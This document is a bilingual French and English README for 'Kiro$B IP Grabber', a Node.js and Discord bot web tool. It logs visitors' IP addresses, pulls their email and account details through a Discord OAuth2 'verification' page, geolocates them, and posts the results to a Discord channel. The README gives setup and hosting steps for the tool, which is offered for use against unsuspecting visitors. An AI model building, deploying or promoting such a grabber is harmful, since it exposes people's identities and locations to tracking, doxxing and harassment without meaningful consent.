Bienvenue dans Kiro$B IP Grabber, un outil web sophistiqué conçu pour capturer les adresses IP des visiteurs et authentifier les utilisateurs via Discord OAuth2. Une fois authentifiés, les détails des utilisateurs (IP, email, localisation, etc.) sont enregistrés, et un embed de vérification est envoyé dans un salon Discord dédié. L'interface est moderne, animée et optimisée pour une expérience fluide sur tous les appareils.
- Capture d'IP : Enregistre les adresses IP publiques des visiteurs avec des API de secours pour une précision optimale.
- Authentification Discord : Connecte les utilisateurs via Discord OAuth2, collectant ID, email, nom d'utilisateur et badges.
- Géolocalisation : Récupère la ville et le pays des utilisateurs grâce à des API externes.
- Bot Discord : Commande
/joinpour inviter les utilisateurs vérifiés dans un serveur Discord. - Interface Élégante : Page de vérification avec animations fluides et un design responsive.
- Persistance des Données : Stocke les logs d'IP et données utilisateur dans des fichiers JSON.
- Personnalisable : Configurable via des variables d'environnement pour une intégration facile.
- Frontend : HTML, CSS, JavaScript
- Backend : Node.js avec Express.js
- Discord : Discord.js pour le bot et OAuth2
- APIs : ip-api.com, ipify.org, ipinfo.io (IP et géolocalisation), MapQuest (cartes statiques)
- Stockage : Fichiers JSON locaux pour les logs
- Node.js (v16 ou supérieur)
- Jeton de bot Discord, ID client et secret client
- Serveur Discord avec un salon pour les logs
- Domaine public pour héberger l'application (ex. :
https://api.kirosb.fr)
-
Cloner le dépôt :
git clone <https://github.com/KirobotDev/Grabs-Ip> cd <https://github.com/KirobotDev/Grabs-Ip/tree/main/public>
-
Installer les dépendances :
npm install express discord.js axios
-
Configurer l'environnement :
- Dans le fichier
index.jsou mettez à jour le script:const client = new Client({ intents: ['Guilds', 'GuildMembers'] }); const DISCORD_TOKEN = ''; // ton token de bot discord const CHANNEL_ID = ''; // Ton channel ou ca va envoyer le grabs const DISCORD_CLIENT_ID = ''; // Ton discord Id bot const DISCORD_CLIENT_SECRET = ''; // ton discord client secret de ton bot const REDIRECT_URI = 'https://api.kirosb.fr/auth/callback'; // change le lien api.kirosb.fr par ton lien genre Imaginon xql.kirosb.fr et dans discord tu va dans la sections OAuth2 add redirects tu add le lien en entier pour moi ducoup cetais ca https://api.kirosb.fr/auth/callback const GUILD_ID = ''; // Ton Id De guild Qui fais rejoindre
- Dans le fichier
-
Configurer OAuth2 Discord :
- Accédez au Portail Développeur Discord.
- Créez une application et ajoutez un bot.
- Ajoutez l'URI de redirection (ex. :
https://votre-domaine.com/auth/callback) dans OAuth2 > Redirects. - Notez l'ID client, le secret client et le jeton du bot.
-
Lancer l'application :
node index.js
-
Héberger l'application :
- Déployez sur un serveur avec un domaine public.
- Assurez-vous que le dossier
publiccontientindex.html.
-
Accéder au site :
- Visitez l'URL hébergée (ex. :
https://votre-domaine.com). - Les utilisateurs verront un bouton "Se connecter avec Discord".
- Visitez l'URL hébergée (ex. :
-
Authentification :
- Les utilisateurs sont redirigés vers Discord pour s'authentifier.
- Après connexion, ils reviennent sur une page de succès.
-
Logs d'IP :
- Les IPs, agents utilisateurs et horodatages sont enregistrés dans
grabs/ip.json. - Les données utilisateur (Discord et géolocalisation) sont stockées dans
grabs/verif_<user_id>.json.
- Les IPs, agents utilisateurs et horodatages sont enregistrés dans
-
Bot Discord :
- Utilisez
/joinpour recevoir un lien d'invitation. - Les utilisateurs vérifiés sont ajoutés au serveur configuré.
- Utilisez
-
Logs de vérification :
- Un embed détaillé (nom, ID, email, IP, localisation, badges) est envoyé dans le salon Discord.
index.html: Interface frontend avec page de vérification et animation de succès.index.js: Serveur backend gérant les logs, OAuth2 et le bot.grabs/:ip.json: Logs des IPs uniques.verif_<user_id>.json: Données de vérification par utilisateur.verified_users.json: Liste des IDs Discord vérifiés.
- Collecte d'IP : Respectez les lois locales sur la confidentialité (ex. : RGPD, CCPA).
- OAuth2 : Stockez les informations sensibles (
DISCORD_TOKEN,DISCORD_CLIENT_SECRET) de manière sécurisée. - HTTPS : Utilisez HTTPS pour sécuriser les données transmises.
- Limites d'API : Attention aux limites de requêtes des APIs utilisées.
- Style : Modifiez le CSS dans
index.htmlpour ajuster l'apparence. - Redirection : Mettez à jour
REDIRECT_URIdans le code et le portail Discord. - Embed Discord : Personnalisez l'
EmbedBuilderdans/auth/callback. - APIs : Ajoutez ou remplacez des APIs dans
getRealIppour plus de précision.
- Précision des IPs : Moins fiable avec des proxies ou VPN.
- Dépendance aux APIs : Les APIs externes peuvent avoir des interruptions ou limites.
- Bot Discord : Nécessite des permissions appropriées sur le serveur.
- Stockage : Les fichiers JSON conviennent pour des petites échelles.
Les contributions sont les bienvenues ! Soumettez une pull request ou ouvrez une issue pour signaler des bugs ou proposer des améliorations.
- Développeur : xql.dev
- Site Web : https://kirosb.fr
- Discord : discord.gg/kirosb
Tous droits réservés © https://kirosb.fr. Reproduction ou distribution non autorisée interdite.
Welcome to Kiro$B IP Grabber, a sleek web-based tool designed to capture visitor IP addresses and authenticate users via Discord OAuth2. Once authenticated, user details (IP, email, location, etc.) are logged, and a verification embed is sent to a designated Discord channel. The interface is modern, animated, and optimized for a seamless experience across devices.
- IP Capture: Logs public IP addresses using multiple fallback APIs for accuracy.
- Discord Authentication: Authenticates users via Discord OAuth2, collecting ID, email, username, and badges.
- Geo-Location: Retrieves city and country data based on IP using external APIs.
- Discord Bot:
/joincommand to invite verified users to a server. - Stylish UI: Verification page with smooth animations and responsive design.
- Data Persistence: Stores IP logs and user data in JSON files.
- Customizable: Configurable via environment variables for easy integration.
- Frontend: HTML, CSS, JavaScript
- Backend: Node.js with Express.js
- Discord: Discord.js for bot and OAuth2
- APIs: ip-api.com, ipify.org, ipinfo.io (IP and geo-location), MapQuest (static maps)
- Storage: Local JSON files for logs
- Node.js (v16 or higher)
- Discord bot token, client ID, and client secret
- Discord server with a channel for verification logs
- Public domain to host the app (e.g.,
https://api.kirosb.fr)
-
Clone the Repository:
git clone <https://github.com/KirobotDev/Grabs-Ip> cd <https://github.com/KirobotDev/Grabs-Ip/tree/main/public>
-
Install Dependencies:
npm install express discord.js axios
-
Configure Environment:
- In the
index.jsfile or update the script:
const client = new Client({ intents: ['Guilds', 'GuildMembers'] }); const DISCORD_TOKEN = ''; // ton token de bot discord const CHANNEL_ID = ''; // Ton channel ou ca va envoyer le grabs const DISCORD_CLIENT_ID = ''; // Ton discord Id bot const DISCORD_CLIENT_SECRET = ''; // ton discord client secret de ton bot const REDIRECT_URI = 'https://api.kirosb.fr/auth/callback'; // change le lien api.kirosb.fr par ton lien genre Imaginon xql.kirosb.fr et dans discord tu va dans la sections OAuth2 add redirects tu add le lien en entier pour moi ducoup cetais ca https://api.kirosb.fr/auth/callback const GUILD_ID = ''; // Ton Id De guild Qui fais rejoindre
- In the
-
Set Up Discord OAuth2:
- Visit the Discord Developer Portal.
- Create an application and add a bot.
- Add the redirect URI (e.g.,
https://your-domain.com/auth/callback) in OAuth2 > Redirects. - Note the client ID, client secret, and bot token.
-
Run the Application:
node index.js
-
Host the Application:
- Deploy on a server with a public domain.
- Ensure the
publicfolder containsindex.html.
-
Access the Website:
- Visit the hosted URL (e.g.,
https://your-domain.com). - Users see a "Connect with Discord" button to start authentication.
- Visit the hosted URL (e.g.,
-
Authentication:
- Users are redirected to Discord for login.
- On success, they return to a verification success page.
-
IP Logging:
- IPs, user agents, and timestamps are logged in
grabs/ip.json. - User-specific data (Discord and geo-location) is stored in
grabs/verif_<user_id>.json.
- IPs, user agents, and timestamps are logged in
-
Discord Bot:
- Use
/joinin Discord to receive an invite link. - Verified users are added to the configured server.
- Use
-
Verification Logs:
- A detailed embed (username, ID, email, IP, location, badges) is sent to the Discord channel.
index.html: Frontend interface with verification and success animation.index.js: Backend server handling IP logging, OAuth2, and bot.grabs/:ip.json: Logs unique visitor IPs.verif_<user_id>.json: User-specific verification data.verified_users.json: List of verified Discord user IDs.
- IP Collection: Comply with local privacy laws (e.g., GDPR, CCPA).
- OAuth2: Securely store sensitive data (
DISCORD_TOKEN,DISCORD_CLIENT_SECRET). - HTTPS: Use HTTPS to protect data transmission.
- API Limits: Be mindful of rate limits for external APIs.
- Styling: Edit CSS in
index.htmlto tweak the look. - Redirect URI: Update
REDIRECT_URIin code and Discord portal. - Discord Embed: Customize
EmbedBuilderin/auth/callback. - APIs: Add or swap APIs in
getRealIpfor better accuracy.
- IP Accuracy: Less reliable with proxies or VPNs.
- API Dependency: External APIs may have downtime or limits.
- Discord Bot: Requires proper server permissions.
- Storage: JSON files are suitable for small-scale use.
Contributions are welcome! Submit a pull request or open an issue for bugs or features.
- Developer: xql.dev
- Website: https://kirosb.fr
- Discord: discord.gg/kirosb
All rights reserved © https://kirosb.fr. Unauthorized reproduction or distribution is prohibited.